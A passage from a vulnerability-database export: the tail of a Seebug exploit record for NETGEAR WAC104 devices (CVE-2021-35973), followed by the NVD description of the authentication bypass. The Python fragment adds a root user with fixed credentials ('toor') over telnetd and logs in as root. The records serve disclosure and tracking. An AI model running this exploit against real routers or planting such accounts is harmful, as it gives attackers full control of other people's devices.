TELNETD\")\ntime.sleep(10)\n\nprint((\"-\" * 70) + \" TRYING TO GET ROOT\")\nfor i in range(5):\n try:\n add_root_user(NEW_PASSWORD)\n break\n except socket.ConnectionRefusedError:\n print(\"Sleeping 5 more seconds...\")\n time.sleep(5)\n\nprint(\n \"\\n\"\n \"In the future you can connect as root using these credentials:\\n\"\n \" toor / AlaMaKota1234\\n\"\n \"\\n\"\n)\n\nprint((\"-\" * 70) + \" CONNECTING TO TELNETD AS ROOT\")\nconnect_as_root()\n```", "published": "2021-07-12T00:00:00", "modified": "2021-07-12T00:00:00", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "href": "https://www.seebug.org/vuldb/ssvid-99295", "reporter": "Knownsec", "references": [], "cvelist": ["CVE-2021-35973"], "immutableFields": [], "lastseen": "2021-07-24T09:06:03", "viewCount": 49, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-35973"]}], "rev": 4}, "score": {"value": 5.7, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-35973"]}]}, "exploitation": null, "vulnersScore": 5.7}, "sourceHref": "", "sourceData": "", "status": "cve,details", "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1646228997}}
{"cve": [{"lastseen": "2022-03-23T18:50:22", "description": "NETGEAR WAC104 devices before 1.0.4.15 are affected by an authentication bypass vulnerability in /usr/sbin/mini_httpd, allowing an unauthenticated attacker to invoke any action by adding the ¤tsetting.htm substring to the HTTP query, a related issue to CVE-2020-27866. This directly allows the attacker to change the web UI password, and eventually to enable debug mode (telnetd) and gain a shell on the device as the admin limited-user account (however, escalation to root is simple because of weak permissions on the /etc/ directory).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-30T15:15:00", "type": "cve", "title": "CVE-2021-35973", "cwe": ["CWE-287"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-27866", "CVE-2021-35973"], "modified": "2021-07-07T15:34:00", "cpe": [], "id": "CVE-2021-35973", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-35973", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": []}]}